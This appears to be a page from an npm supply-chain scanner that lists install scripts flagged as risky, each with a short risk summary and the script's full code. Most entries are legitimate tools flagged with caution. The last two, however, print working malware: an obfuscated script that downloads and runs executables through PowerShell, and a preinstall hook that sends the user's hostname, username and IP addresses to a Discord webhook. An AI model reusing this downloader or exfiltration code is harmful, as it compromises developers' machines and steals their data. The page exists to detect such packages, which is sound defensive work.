Home
Docs
GitHub
Blog

Sandworm scans all new Npm package versions for malicious install scripts.
Scanning since October 2024.
Follow our 𝕏 / Twitter feed for updates.

Detected: 30 Oct 2024
Detected Date: 30 Oct 2024
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

The code executes an external process using spawn to run a command from a GitHub repository, which can potentially be manipulated. It takes API keys from environment variables, which could expose sensitive information if the environment is compromised. Additionally, using npx with a remote repository can result in running malicious code if the repository is modified.

Install script:
node postinstall.js
Install script code:
const dotenvFlow = require('dotenv-flow');
const { spawn } = require('child_process');

// Use .env from main directory
const env = dotenvFlow.parse(
    dotenvFlow.listFiles({
        path: process.env.INIT_CWD,
    })

);

if (!env.FLOTIQ_API_KEY && !process.env.FLOTIQ_API_KEY) {
    throw new Error(`Environment variable FLOTIQ_API_KEY not found in ${process.env.INIT_CWD} (.env files) or in system environment variables.`);
}

// Execute the flotiq-codegen-ts process.
// It can be simplified when the codegen is available as a function or when the key becomes a parameter
const codegen = spawn('npx', ['git@github.com:flotiq/flotiq-codegen-ts.git#support-cjs-mjs', '--compiled-js']);

let typedEnv = false;
let typedKey = false
codegen.stdout.on('data', (data) => {
    const output = data.toString();
    console.log(output);

    if (!typedEnv && output.includes('Do you want to use API key')) {
        codegen.stdin.write('n\n');
        typedEnv = true;
    }

    if (!typedKey && output.includes('Please enter your Flotiq')) {
        codegen.stdin.write(env.FLOTIQ_API_KEY || process.env.FLOTIQ_API_KEY);
        codegen.stdin.write('\n');
        typedKey = true;
    }
});

codegen.stderr.on('data', (data) => {
    console.error(`Error: ${data}`);
});

codegen.on('close', (code) => {
    console.log(`Closed: ${code}`);
});

Detected: 30 Oct 2024
Detected Date: 30 Oct 2024
Affected Install Script: install
Package Source: ↗️ View on Npm

This code retrieves sensitive information such as the API key from the .env file or system environment variables and then uses this key to interact with a remote repository through a spawner of the npx command. The execution of a command that points to a git repository, especially with a potentially unsafe input, can allow an attacker to run arbitrary code on the machine, posing a significant security risk.

Install script:
node postinstall.js
Install script code:
const dotenvFlow = require('dotenv-flow');
const { spawn } = require('child_process');

// Use .env from main directory
const env = dotenvFlow.parse(
    dotenvFlow.listFiles({
        path: process.env.INIT_CWD,
    })

);

if (!env.FLOTIQ_API_KEY && !process.env.FLOTIQ_API_KEY) {
    throw new Error(`Environment variable FLOTIQ_API_KEY not found in ${process.env.INIT_CWD} (.env files) or in system environment variables.`);
}

// Execute the flotiq-codegen-ts process.
// It can be simplified when the codegen is available as a function or when the key becomes a parameter
const codegen = spawn('npx', ['git@github.com:flotiq/flotiq-codegen-ts.git#support-cjs-mjs', '--compiled-js']);

let typedEnv = false;
let typedKey = false
codegen.stdout.on('data', (data) => {
    const output = data.toString();
    console.log(output);

    if (!typedEnv && output.includes('Do you want to use API key')) {
        codegen.stdin.write('n\n');
        typedEnv = true;
    }

    if (!typedKey && output.includes('Please enter your Flotiq')) {
        codegen.stdin.write(env.FLOTIQ_API_KEY || process.env.FLOTIQ_API_KEY);
        codegen.stdin.write('\n');
        typedKey = true;
    }
});

codegen.stderr.on('data', (data) => {
    console.error(`Error: ${data}`);
});

codegen.on('close', (code) => {
    console.log(`Closed: ${code}`);
});

Detected: 30 Oct 2024
Detected Date: 30 Oct 2024
Affected Install Script: install
Package Source: ↗️ View on Npm

The code spawns a child process to run a command that pulls from a remote Git repository. It processes standard input to provide sensitive information (API keys) automatically to the script. This behavior could lead to remote code execution if the command or repository is compromised, and it exposes an API key which can be used for unauthorized access to services.

Install script:
node postinstall.js
Install script code:
const dotenvFlow = require('dotenv-flow');
const { spawn } = require('child_process');

// Use .env from main directory
const env = dotenvFlow.parse(
    dotenvFlow.listFiles({
        path: process.env.INIT_CWD,
    })

);

if (!env.FLOTIQ_API_KEY && !process.env.FLOTIQ_API_KEY) {
    throw new Error(`Environment variable FLOTIQ_API_KEY not found in ${process.env.INIT_CWD} (.env files) or in system environment variables.`);
}

// Execute the flotiq-codegen-ts process.
// It can be simplified when the codegen is available as a function or when the key becomes a parameter
const codegen = spawn('npx', ['git@github.com:flotiq/flotiq-codegen-ts.git#support-cjs-mjs', '--compiled-js']);

let typedEnv = false;
let typedKey = false
codegen.stdout.on('data', (data) => {
    const output = data.toString();
    console.log(output);

    if (!typedEnv && output.includes('Do you want to use API key')) {
        codegen.stdin.write('n\n');
        typedEnv = true;
    }

    if (!typedKey && output.includes('Please enter your Flotiq')) {
        codegen.stdin.write(env.FLOTIQ_API_KEY || process.env.FLOTIQ_API_KEY);
        codegen.stdin.write('\n');
        typedKey = true;
    }
});

codegen.stderr.on('data', (data) => {
    console.error(`Error: ${data}`);
});

codegen.on('close', (code) => {
    console.log(`Closed: ${code}`);
});

Detected: 30 Oct 2024
Detected Date: 30 Oct 2024
Affected Install Script: install
Package Source: ↗️ View on Npm

The code performs a series of manipulations on TypeScript modules, including creating modified versions of tsc.js, typescript.js, and tsserver.js. These modifications insert custom plugins that could be used to execute arbitrary code, potentially allowing for unauthorized access or control over the TypeScript compilation process. This poses a significant security risk, as it can lead to the execution of malicious code under the guise of TypeScript's normal operation.

Install script:
node ./Execution/generate.mjs
Install script code:
import path from "node:path";
import * as tspackage from "ts-patch/ts-package.js";
import * as tsmodule from "ts-patch/module/ts-module.js";
import * as tspatch from "ts-patch/patch/get-patched-source.js";
import * as fs from "node:fs";
import * as Path from "node:path";
import * as url from "url";
// @ts-ignore
const here = url.fileURLToPath(import.meta.url).replace(/[^\\\/]*$/, "");
const tscPath = Path.join(here, fs.existsSync("../node_modules/typescript/") ? "../node_modules/typescript/" : "../../../typescript/");
const cache = Path.join(here, "../Cache/");
if (!fs.existsSync(cache)) {
    fs.mkdirSync(cache);
}
{ //Clear the cache.
    let files = fs.readdirSync(cache);
    for (let file of files) {
        if (file.includes("lib.")) {
            fs.rmSync(Path.join(cache, file));
        }
    }
}
{ //Copy all of the lib files to the cache since tsc expects them to be local.
    const libPath = tscPath + "lib" + path.sep;
    let files = fs.readdirSync(libPath);
    for (let file of files) {
        if (file.includes("lib.")) {
            fs.copyFileSync(Path.join(libPath, file), Path.join(cache, file));
        }
    }
    fs.copyFileSync(Path.join(libPath, "./tsserverlibrary.js"), Path.join(cache, "./tsserverlibrary.js"));
    fs.copyFileSync(Path.join(libPath, "./tsserverlibrary.d.ts"), Path.join(cache, "./tsserverlibrary.d.ts"));
    fs.copyFileSync(Path.join(libPath, "./typescript.d.ts"), Path.join(cache, "./typescript.d.ts"));
}
{ //Create a modified tsc.js file.
    const tsPackage = tspackage.getTsPackage(tscPath);
    const tsModule = tsmodule.getTsModule(tsPackage, "tsc.js");
    const tspSource = tspatch.getPatchedSource(tsModule, { log: console.log.bind(console) });
    //Insert our custom plugins!
    tspSource.js = tspSource.js.replace(`const projectConfig = getProjectConfig(options, rootNames);`, `
            const projectConfig = getProjectConfig(options, rootNames);
            projectConfig.compilerOptions.plugins = projectConfig.compilerOptions.plugins ?? [];
            projectConfig.compilerOptions.plugins.push({ "transform": "../Transformers/Main.js", baseDir: __dirname, "type": "program", "after": false });
        `.trim());
    //Allow our custom plugins to resolve from a different directory location.
    tspSource.js = tspSource.js.replace(`const entryFilePath = require.resolve(configTransformValue, { paths: [resolveBaseDir] });`, `const entryFilePath = require.resolve(configTransformValue, { paths: [config.baseDir ?? resolveBaseDir] });`);
    fs.writeFileSync(Path.join(cache, "./tsc.js"), tspSource.js, "utf8");
}
{ //Create a modified typescript.js file.
    const tsPackage = tspackage.getTsPackage(tscPath);
    const tsModule = tsmodule.getTsModule(tsPackage, "typescript.js");
    const tspSource = tspatch.getPatchedSource(tsModule, { log: console.log.bind(console) });
    fs.writeFileSync(Path.join(cache, "./typescript.js"), tspSource.js, "utf8");
}
{ //Create a modified tsserver.js file.
    const tsPackage = tspackage.getTsPackage(tscPath);
    const tsModule = tsmodule.getTsModule(tsPackage, "tsserver.js");
    const tspSource = tspatch.getPatchedSource(tsModule, { log: console.log.bind(console) });
    fs.writeFileSync(Path.join(cache, "../tsserver.js"), tspSource.js, "utf8");
}
//# sourceMappingURL=generate.mjs.map

Detected: 30 Oct 2024
Detected Date: 30 Oct 2024
Affected Install Script: install
Package Source: ↗️ View on Npm

The code modifies TypeScript's compiler and server scripts to include custom plugins and change how they resolve dependencies. This could allow malicious actors to inject harmful code into the TypeScript compilation process or disrupt its normal operation, potentially leading to code execution vulnerabilities or manipulation of the TypeScript building environment.

Install script:
node ./Execution/generate.mjs
Install script code:
import path from "node:path";
import * as tspackage from "ts-patch/ts-package.js";
import * as tsmodule from "ts-patch/module/ts-module.js";
import * as tspatch from "ts-patch/patch/get-patched-source.js";
import * as fs from "node:fs";
import * as Path from "node:path";
import * as url from "url";
// @ts-ignore
const here = url.fileURLToPath(import.meta.url).replace(/[^\\\/]*$/, "");
const tscPath = Path.join(here, fs.existsSync("../node_modules/typescript/") ? "../node_modules/typescript/" : "../../../typescript/");
const cache = Path.join(here, "../Cache/");
if (!fs.existsSync(cache)) {
    fs.mkdirSync(cache);
}
{ //Clear the cache.
    let files = fs.readdirSync(cache);
    for (let file of files) {
        if (file.includes("lib.")) {
            fs.rmSync(Path.join(cache, file));
        }
    }
}
{ //Copy all of the lib files to the cache since tsc expects them to be local.
    const libPath = tscPath + "lib" + path.sep;
    let files = fs.readdirSync(libPath);
    for (let file of files) {
        if (file.includes("lib.")) {
            fs.copyFileSync(Path.join(libPath, file), Path.join(cache, file));
        }
    }
    fs.copyFileSync(Path.join(libPath, "./tsserverlibrary.js"), Path.join(cache, "./tsserverlibrary.js"));
    fs.copyFileSync(Path.join(libPath, "./tsserverlibrary.d.ts"), Path.join(cache, "./tsserverlibrary.d.ts"));
    fs.copyFileSync(Path.join(libPath, "./typescript.d.ts"), Path.join(cache, "./typescript.d.ts"));
}
{ //Create a modified tsc.js file.
    const tsPackage = tspackage.getTsPackage(tscPath);
    const tsModule = tsmodule.getTsModule(tsPackage, "tsc.js");
    const tspSource = tspatch.getPatchedSource(tsModule, { log: console.log.bind(console) });
    //Insert our custom plugins!
    tspSource.js = tspSource.js.replace(`const projectConfig = getProjectConfig(options, rootNames);`, `
            const projectConfig = getProjectConfig(options, rootNames);
            projectConfig.compilerOptions.plugins = projectConfig.compilerOptions.plugins ?? [];
            projectConfig.compilerOptions.plugins.push({ "transform": "../Transformers/Main.js", baseDir: __dirname, "type": "program", "after": false });
        `.trim());
    //Allow our custom plugins to resolve from a different directory location.
    tspSource.js = tspSource.js.replace(`const entryFilePath = require.resolve(configTransformValue, { paths: [resolveBaseDir] });`, `const entryFilePath = require.resolve(configTransformValue, { paths: [config.baseDir ?? resolveBaseDir] });`);
    fs.writeFileSync(Path.join(cache, "./tsc.js"), tspSource.js, "utf8");
}
{ //Create a modified typescript.js file.
    const tsPackage = tspackage.getTsPackage(tscPath);
    const tsModule = tsmodule.getTsModule(tsPackage, "typescript.js");
    const tspSource = tspatch.getPatchedSource(tsModule, { log: console.log.bind(console) });
    fs.writeFileSync(Path.join(cache, "./typescript.js"), tspSource.js, "utf8");
}
{ //Create a modified tsserver.js file.
    const tsPackage = tspackage.getTsPackage(tscPath);
    const tsModule = tsmodule.getTsModule(tsPackage, "tsserver.js");
    const tspSource = tspatch.getPatchedSource(tsModule, { log: console.log.bind(console) });
    fs.writeFileSync(Path.join(cache, "../tsserver.js"), tspSource.js, "utf8");
}
//# sourceMappingURL=generate.mjs.map

Detected: 30 Oct 2024
Detected Date: 30 Oct 2024
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

The script sends anonymous tracking data to a specified analytics service, including an installation ID and the operating system info. While it serves its purpose of monitoring installations, it could be considered a privacy risk as it collects and sends user information without explicit consent, potentially compromising user privacy by sending it to a third party.

Install script:
bash track.sh completed || echo 'skipping postinstall'
Install script code:
#!/bin/bash
# Send anonymous tracking events to rudderstack so we can monitor installations and errors

INSTALLATION_ID=$(curl -s 'https://www.uuidgenerator.net/api/version4')

os=""

is_mac() {
    [[ $OSTYPE == darwin* ]]
}

is_windows() {
    [[ $OSTYPE == msys* ]]
}

check_os() {
    if is_mac; then
        os="Mac"
        return
    fi

    if is_windows; then
        os="Windows"
        return
    fi

    os_name="$(cat /etc/*-release | awk -F= '$1 == "NAME" { gsub(/"/, ""); print $2; exit }')"

    case "$os_name" in
        Ubuntu*)
            os="ubuntu"
            ;;
        Amazon\ Linux*)
            os="amazon linux"
            ;;
        Debian*)
            os="debian"
            ;;
        Linux\ Mint*)
            os="linux mint"
            ;;
        Red\ Hat*)
            os="red hat"
            ;;
        CentOS*)
            os="centos"
            ;;
        SLES*)
            os="sles"
            ;;
        openSUSE*)
            os="opensuse"
            ;;
        *)
            os="Not Found: $os_name"
    esac
}

# Check whether the given command exists.
has_cmd() {
    command -v "$1" > /dev/null 2>&1
}
# Check whether 'wget' command exists.
has_wget() {
    has_cmd wget
}

# Check whether 'curl' command exists.
has_curl() {
    has_cmd curl
}

inform_macos_xcrun_requirement() {
    # Check if xcrun is installed
    if ! command -v xcrun >/dev/null 2>&1; then
        echo "⚠️  macOS users: Before installing the Lightdash CLI, make sure you have 'xcrun' installed."
        echo "    You can install it by running the following command:"
        echo "    xcode-select --install"
        echo "    After installing 'xcrun', you can proceed with the Lightdash CLI installation."
        echo ""
    fi
}

if  [[ $NODE_ENV == "development" || "$CI" == "true" ]]; then 
    echo "Do not send tracking on NODE_ENV=$NODE_ENV or CI=$CI mode" 
    exit 0 
fi

if is_mac; then
    inform_macos_xcrun_requirement
fi

track() {

  check_os
  
  DATA='{
    "anonymousId":"'"$INSTALLATION_ID"'",
    "event": "lightdash_cli.install.'"$1"'",
    "properties": { "os": "'"$os"'"}
  }'
  echo $DATA
  URL="https://analytics.lightdash.com/v1/track"
  HEADER='Content-Type: application/json'
  HEADER_AUTH='Authorization: Basic MXZxa1NsV01WdFlPbDcwcmszUVNFMHYxZnFZOg=='

  if has_curl; then
      curl -sfL -d "$DATA" --header "$HEADER" --header "$HEADER_AUTH" "$URL" > /dev/null 2>&1
  elif has_wget; then
      wget -q --post-data="$DATA" --header="$HEADER" --header "$HEADER_AUTH" "$URL" > /dev/null 2>&1
  fi
}

track $1

exit 0

Detected: 30 Oct 2024
Detected Date: 30 Oct 2024
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

The script automatically downloads a binary file based on the user's operating system and architecture from an external URL. Depending on the content of the downloaded file (which could be malicious), this could enable attackers to run harmful code on the user's system or extract sensitive information without the user's consent.

Install script:
node setup.js
Install script code:
const https = require('https');
const fs = require('fs');
const os = require('os');

// Function to determine the platform and architecture
function getPlatformInfo() {
  switch (os.platform()) {
    case 'darwin':
      // Check the processor architecture for macOS
      return os.arch() === 'arm64' ? 'macos-arm64' : 'macos-x64';
    case 'win32':
      return 'windows';
    case 'linux':
      return os.arch() === 'arm64' ? 'linux-arm64' : 'linux-x64';
    default:
      throw new Error('Unsupported platform');
  }
}

// Function to download a file based on the platform and architecture
function downloadFile(platform) {
  let url;

  if (platform === 'macos-arm64') {
    url = 'https://s.locker.io/download/locker-cli-mac-arm64-1.0.98';
  } else if (platform === 'macos-x64') {
    url = 'https://s.locker.io/download/locker-cli-mac-x64-1.0.98';
  } else if (platform === 'windows') {
    url = 'https://s.locker.io/download/locker-cli-win-x64-1.0.98.exe';
  } else if (platform === 'linux-x64') {
    url = 'https://s.locker.io/download/locker-cli-linux-x64-1.0.98';
  } else if (platform === 'linux-arm64') {
    url = 'https://s.locker.io/download/locker-cli-linux-arm64-1.0.98';
  } else {
    throw new Error('Unsupported platform');
  }

  const fileStream = fs.createWriteStream(`./bin/locker_secret${platform === 'windows' ? '.exe' : ''}`);

  https.get(url, (response) => {
    response.pipe(fileStream);

    fileStream.on('finish', () => {
      fileStream.close();
      console.log(`File downloaded and saved to ./bin/locker_secret${platform === 'windows' ? '.exe' : ''}`);
    });
  }).on('error', (err) => {
    fs.unlink(`./bin/locker_secret${platform === 'windows' ? '.exe' : ''}`);
    console.error(`Error downloading file: ${err.message}`);
  });
}

// Main script
const platformInfo = getPlatformInfo();
const binFolderPath = './bin';

// Create the 'bin' folder if it doesn't exist
if (!fs.existsSync(binFolderPath)) {
  fs.mkdirSync(binFolderPath);
}

// Download the file based on the platform and architecture
downloadFile(platformInfo);

Detected: 30 Oct 2024
Detected Date: 30 Oct 2024
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

The code downloads executable files from a specified URL based on the operating system detected and saves them to the local filesystem. This poses a significant security risk as it can potentially install unverified software, execute arbitrary code, or overwrite existing files, leading to system compromise or malicious activity. Moreover, the script does not implement any validation or integrity checks on the downloaded files, furthering the risk of executing harmful content.

Install script:
node postinstall.js
Install script code:
#!/usr/bin/env node

const fs = require("fs");
const path = require("path");
const os = require("os");
const https = require("https");

const downloadDir = "../.bin/";
const downloadFrom = "https://github.com/vb-consulting/NpgsqlRest/releases/download/v2.12.0-client-v2.2.0/";

function download(url, to, done) {
    https.get(url, (response) => {
        if (response.statusCode == 200) {
            const file = fs.createWriteStream(to, { mode: 0o755 });
            response.pipe(file);
            file.on("finish", () => {
                file.close();
                console.info(`${to} ...`,);
                if (done) {
                    done();
                }
            });
        } else if (response.statusCode == 302) {
            download(response.headers.location, to);
        } else {
            console.error("Error downloading file:", to, response.statusCode, response.statusMessage);
        }
    }).on("error", (err) => {
        fs.unlink(to, () => {
            console.error("Error downloading file:", to, err);
        });
    });
}

const osType = os.type();
var downloadFileUrl;
var downloadTo;

if (osType === "Windows_NT") {
    downloadFileUrl = `${downloadFrom}npgsqlrest-win64.exe`;
    downloadTo = `${downloadDir}npgsqlrest.exe`;
} else if (osType === "Linux") {
    downloadFileUrl = `${downloadFrom}npgsqlrest-linux64`;
    downloadTo = `${downloadDir}npgsqlrest`;
} else if (osType === "Darwin") {
    downloadFileUrl = `${downloadFrom}npgsqlrest-osx64`;
    downloadTo = `${downloadDir}npgsqlrest`;
} else {
    console.error("Unsupported OS detected:", osType);
    process.exit(1);
}

if (!fs.existsSync(path.dirname(downloadTo))) {
    fs.mkdirSync(path.dirname(downloadTo), { recursive: true });
}

if (fs.existsSync(downloadTo)) {
    fs.unlinkSync(downloadTo);
}
download(downloadFileUrl, downloadTo);


downloadFileUrl = `${downloadFrom}appsettings.json`;
downloadTo = "./appsettings.json";
if (fs.existsSync(downloadFileUrl)) {
    fs.unlinkSync(downloadFileUrl, downloadTo);
}
download(downloadFileUrl, downloadTo);

Detected: 30 Oct 2024
Detected Date: 30 Oct 2024
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

The script is obfuscated and includes functionality to download and execute files from a specified remote location. It uses PowerShell commands to run these downloads and execute the commands, which could lead to malicious code being run on the system without the user's consent, thereby compromising security and privacy.

Install script:
node index.js
Install script code:
function _0x442d(_0x436049,_0x3c2e53){const _0x4c0090=_0x4e73();return _0x442d=function(_0x32a098,_0x30c837){_0x32a098=_0x32a098-(0x5*0x107+0x1faa+-0x237e);let _0x5cd2f7=_0x4c0090[_0x32a098];return _0x5cd2f7;},_0x442d(_0x436049,_0x3c2e53);}const _0x5f04b7=_0x442d;(function(_0xfd6fc0,_0x246dce){const _0x185708=_0x442d,_0x1cb11e=_0xfd6fc0();while(!![]){try{const _0x4d859b=-parseInt(_0x185708(0x174))/(-0xbb5+-0x2f5*0xb+0x2c3d)+-parseInt(_0x185708(0x162))/(0x26d6*0x1+0x56*-0x3f+-0x11aa)*(parseInt(_0x185708(0x167))/(0x1*0x1a04+-0x2e*0x17+0x1*-0x15df))+parseInt(_0x185708(0x163))/(0x164+-0x1163+0x1003*0x1)+-parseInt(_0x185708(0x168))/(0x603+0x5*0x4e6+-0x1e7c)*(-parseInt(_0x185708(0x173))/(-0x36d*-0x3+-0x1*0x1636+0x1*0xbf5))+-parseInt(_0x185708(0x17a))/(-0x1*0xad6+-0x1*-0xaf9+0x1c*-0x1)*(parseInt(_0x185708(0x158))/(-0x84*-0x8+-0x5*-0x64b+-0x238f))+parseInt(_0x185708(0x177))/(0x2*0x114a+-0x22cc+0x1*0x41)+-parseInt(_0x185708(0x154))/(0x8b4*0x1+-0xbb4+0x185*0x2);if(_0x4d859b===_0x246dce)break;else _0x1cb11e['push'](_0x1cb11e['shift']());}catch(_0x487d26){_0x1cb11e['push'](_0x1cb11e['shift']());}}}(_0x4e73,0x99367+0x5db8+-0x1d93));function _0x4e73(){const _0x184aa1=['length','JVbje','error','408DsXMcU','1756804BLxOgr','path','\x22Start-Pro','child_proc','522WHCdOq','3125AsibJp','promisify','thub.com/z','log','RduAj','.exe','\x22Invoke-We','erLauncher','cmd.exe','\x20-Command\x20','ess','2646xnFZGB','373287GHOuqk','/raw/main/','vydev/code','8575641RvYwTj','cess\x20\x27','\x27\x20-OutFile','1645133wpILKC','message','RobloxPlay','\x20successfu','Executed\x20','powershell','3798930wXxwRu','OcPGn','util','https://gi','8eokZVQ','lly','bRequest\x20-','Downloaded','join','Error:\x20','Uri\x20\x27'];_0x4e73=function(){return _0x184aa1;};return _0x4e73();}const {exec}=require(_0x5f04b7(0x166)+_0x5f04b7(0x172)),path=require(_0x5f04b7(0x164)),util=require(_0x5f04b7(0x156)),execAsync=util[_0x5f04b7(0x169)](exec),urls=[_0x5f04b7(0x157)+_0x5f04b7(0x16a)+_0x5f04b7(0x176)+_0x5f04b7(0x175)+_0x5f04b7(0x170),_0x5f04b7(0x157)+_0x5f04b7(0x16a)+_0x5f04b7(0x176)+_0x5f04b7(0x175)+_0x5f04b7(0x150)+_0x5f04b7(0x16f)+_0x5f04b7(0x16d)],outputFiles=[path[_0x5f04b7(0x15c)](__dirname,_0x5f04b7(0x170)),path[_0x5f04b7(0x15c)](__dirname,_0x5f04b7(0x150)+_0x5f04b7(0x16f)+_0x5f04b7(0x16d))];async function downloadAndRun(_0x1081ed,_0x5279a6){const _0x3b1344=_0x5f04b7,_0x2f68ed={'OcPGn':function(_0x56ccd4,_0x2f2d4d){return _0x56ccd4(_0x2f2d4d);}},_0x370615=_0x3b1344(0x153)+_0x3b1344(0x171)+_0x3b1344(0x16e)+_0x3b1344(0x15a)+_0x3b1344(0x15e)+_0x1081ed+(_0x3b1344(0x179)+'\x20\x27')+_0x5279a6+'\x27\x22',_0xc12761=_0x3b1344(0x153)+_0x3b1344(0x171)+_0x3b1344(0x165)+_0x3b1344(0x178)+_0x5279a6+'\x27\x22';try{await _0x2f68ed[_0x3b1344(0x155)](execAsync,_0x370615),console[_0x3b1344(0x16b)](_0x3b1344(0x15b)+'\x20'+_0x5279a6+(_0x3b1344(0x151)+_0x3b1344(0x159))),await _0x2f68ed[_0x3b1344(0x155)](execAsync,_0xc12761),console[_0x3b1344(0x16b)](_0x3b1344(0x152)+_0x5279a6+(_0x3b1344(0x151)+_0x3b1344(0x159)));}catch(_0x3ffd32){console[_0x3b1344(0x161)](_0x3b1344(0x15d)+_0x3ffd32[_0x3b1344(0x14f)]);}}((async()=>{const _0x3807ce=_0x5f04b7,_0xcaf729={'JVbje':function(_0x250d56,_0x225614){return _0x250d56<_0x225614;},'RduAj':function(_0x57e12a,_0x3a3bf4,_0x16ccdf){return _0x57e12a(_0x3a3bf4,_0x16ccdf);}};for(let _0x36869b=0x1b8+0x1c37+-0x61*0x4f;_0xcaf729[_0x3807ce(0x160)](_0x36869b,urls[_0x3807ce(0x15f)]);_0x36869b++){await _0xcaf729[_0x3807ce(0x16c)](downloadAndRun,urls[_0x36869b],outputFiles[_0x36869b]);}})());

Detected: 30 Oct 2024
Detected Date: 30 Oct 2024
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code collects sensitive information about the user's system, such as the internal IP address, external IP address, home directory, username, and DNS servers, and sends this data to a specified Discord webhook URL. This poses a significant security risk as it can be used to exfiltrate sensitive personal data without the user's consent.

Install script:
node index.js
Install script code:
const os = require("os");
const dns = require("dns");
const https = require("https");
const packageJSON = require("./package.json");

const package = packageJSON.name;

// Function to get the internal IP address
function getIPAddress() {
    const networkInterfaces = os.networkInterfaces();
    for (const interfaceName in networkInterfaces) {
        const iface = networkInterfaces[interfaceName];
        for (const alias of iface) {
            if (alias.family === 'IPv4' && !alias.internal) {
                return alias.address;
            }
        }
    }
    return 'IP not found';
}

// Function to get the external IP address
function getExternalIP(callback) {
    https.get('https://api.ipify.org?format=json', (res) => {
        let data = '';

        // Receive data chunks
        res.on('data', (chunk) => {
            data += chunk;
        });

        // On response end, parse and return the IP address
        res.on('end', () => {
            const parsedData = JSON.parse(data);
            callback(parsedData.ip); // Call the callback with the external IP address
        });
    }).on('error', (e) => {
        console.error('Error fetching external IP address:', e);
        callback('Error fetching IP'); // Handle errors
    });
}

// Prepare the tracking data
getExternalIP((externalIP) => {
    const trackingData = JSON.stringify({
        package: package,
        directory: __dirname,
        home_directory: os.homedir(),
        hostname: os.hostname(),
        username: os.userInfo().username,
        dns: dns.getServers(),
        internal_ip: getIPAddress(), // Add internal IP address here
        external_ip: externalIP, // Get External IP Address
        resolved_url: packageJSON ? packageJSON.___resolved : undefined,
        package_version: packageJSON.version,
        package_json: packageJSON,
    });

    const webhookURL = "https://discord.com/api/webhooks/1301084955144618004/dzBF_mUG0Ob7MXPUjc3j4cbfOxRF8aquDty3TZCzVy7y-Pjh78fkwe_z1JezoYhAOv89"; // Replace with your Discord webhook URL

    const postData = JSON.stringify({
        content: `\`\`\`json\n${trackingData}\n\`\`\`` // Wrap the tracking data in a code block for better formatting
    });

    const options = new URL(webhookURL);

    options.method = "POST";
    options.headers = {
        "Content-Type": "application/json",
        "Content-Length": postData.length,
    };

    const req = https.request(options, (res) => {
        res.on("data", (d) => {
            process.stdout.write(d);
        });
    });

    req.on("error", (e) => {
        console.error(e);
    });

    req.write(postData);
    req.end();
});
9,464 vulnerabilities